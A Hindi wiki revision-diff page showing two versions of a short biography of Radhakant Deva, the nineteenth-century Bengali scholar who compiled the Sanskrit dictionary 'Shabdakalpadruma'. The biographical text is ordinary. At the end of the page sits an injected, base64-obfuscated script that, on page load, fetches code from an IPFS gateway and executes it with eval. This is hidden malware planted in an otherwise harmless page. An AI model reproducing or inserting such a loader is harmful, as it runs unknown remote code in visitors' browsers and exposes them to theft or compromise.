"राधाकांत देव": अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
गोविन्द राम (वार्ता | योगदान) (''''राधाकांत देव''' (अंग्रेज़ी: ''Radhakant Deva'') अनेक भाषाओं के...' के साथ नया पृष्ठ बनाया) |
गोविन्द राम (वार्ता | योगदान) No edit summary |
||
पंक्ति 1: | पंक्ति 1: | ||
'''राधाकांत देव''' ([[अंग्रेज़ी]]: ''Radhakant Deva'') अनेक भाषाओं के विद्वान, हिन्दू संस्कृति के संरक्षण के पक्षधर एवं विचारक थे। उन्होंने 'शब्दकल्पद्रुम' नामक [[संस्कृत]] के आधुनिक महाशब्दकोश की रचना की। | '''राधाकांत देव''' ([[अंग्रेज़ी]]: ''Radhakant Deva'') अनेक भाषाओं के विद्वान, हिन्दू संस्कृति के संरक्षण के पक्षधर एवं विचारक थे। उन्होंने 'शब्दकल्पद्रुम' नामक [[संस्कृत]] के आधुनिक महाशब्दकोश की रचना की। | ||
==संक्षिप्त परिचय== | ==संक्षिप्त परिचय== | ||
* सर राजा राधाकांत देव का जन्म 1794 ईस्वी<ref>पुस्तक- भारतीय चरित कोश | लेखक- लीलाधर शर्मा 'पर्वतीय' | पृष्ठ संख्या-718</ref> में [[बंगाल (आज़ादी से पूर्व)|बंगाल]] में हुआ था। | * सर राजा राधाकांत देव का जन्म 1794 ईस्वी<ref name="BCK">पुस्तक- भारतीय चरित कोश | लेखक- लीलाधर शर्मा 'पर्वतीय' | पृष्ठ संख्या-718</ref> में [[बंगाल (आज़ादी से पूर्व)|बंगाल]] में हुआ था। | ||
* वे अपने समय में सनातनी हिंदुओं के मान्य नेता थे। वीर पाश्चात्य विचारों के उपयोगी तत्वों को स्वीकार करते हुए भी अपनी प्राचीन मान्यताओं पर पूरी आस्था रखते थे। | * वे अपने समय में सनातनी हिंदुओं के मान्य नेता थे। वीर पाश्चात्य विचारों के उपयोगी तत्वों को स्वीकार करते हुए भी अपनी प्राचीन मान्यताओं पर पूरी आस्था रखते थे। | ||
* उन्होंने [[कोलकाता]] में हिंदू स्कूल की स्थापना में पूरा सहयोग दिया जिससे यहां के छात्र अंग्रेज़ी भाषा और पाश्चात्य विधाओं का ज्ञान अर्जित कर सकें। | * उन्होंने [[कोलकाता]] में हिंदू स्कूल की स्थापना में पूरा सहयोग दिया जिससे यहां के छात्र अंग्रेज़ी भाषा और पाश्चात्य विधाओं का ज्ञान अर्जित कर सकें। | ||
* राधाकांत देव ने छात्रों को कम मूल्य पर पुस्तकें उपलब्ध कराने की व्यवस्था की। | * राधाकांत देव ने छात्रों को कम मूल्य पर पुस्तकें उपलब्ध कराने की व्यवस्था की। | ||
* राधाकांत देव का एक बड़ा योगदान संस्कृत का शब्दकोश 'शब्दकल्पद्रुम' है। यह उनकी विद्वता का परिचायक है। | * राधाकांत देव का एक बड़ा योगदान संस्कृत का शब्दकोश 'शब्दकल्पद्रुम' है। यह उनकी विद्वता का परिचायक है। | ||
* 1867 ईस्वी में राधाकांत देव का देहांत हो गया।<ref | * 1867 ईस्वी में राधाकांत देव का देहांत हो गया।<ref name="BCK"/> | ||
10:36, 5 मई 2018 का अवतरण
राधाकांत देव (अंग्रेज़ी: Radhakant Deva) अनेक भाषाओं के विद्वान, हिन्दू संस्कृति के संरक्षण के पक्षधर एवं विचारक थे। उन्होंने 'शब्दकल्पद्रुम' नामक संस्कृत के आधुनिक महाशब्दकोश की रचना की।
संक्षिप्त परिचय
- सर राजा राधाकांत देव का जन्म 1794 ईस्वी[1] में बंगाल में हुआ था।
- वे अपने समय में सनातनी हिंदुओं के मान्य नेता थे। वीर पाश्चात्य विचारों के उपयोगी तत्वों को स्वीकार करते हुए भी अपनी प्राचीन मान्यताओं पर पूरी आस्था रखते थे।
- उन्होंने कोलकाता में हिंदू स्कूल की स्थापना में पूरा सहयोग दिया जिससे यहां के छात्र अंग्रेज़ी भाषा और पाश्चात्य विधाओं का ज्ञान अर्जित कर सकें।
- राधाकांत देव ने छात्रों को कम मूल्य पर पुस्तकें उपलब्ध कराने की व्यवस्था की।
- राधाकांत देव का एक बड़ा योगदान संस्कृत का शब्दकोश 'शब्दकल्पद्रुम' है। यह उनकी विद्वता का परिचायक है।
- 1867 ईस्वी में राधाकांत देव का देहांत हो गया।[1]
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>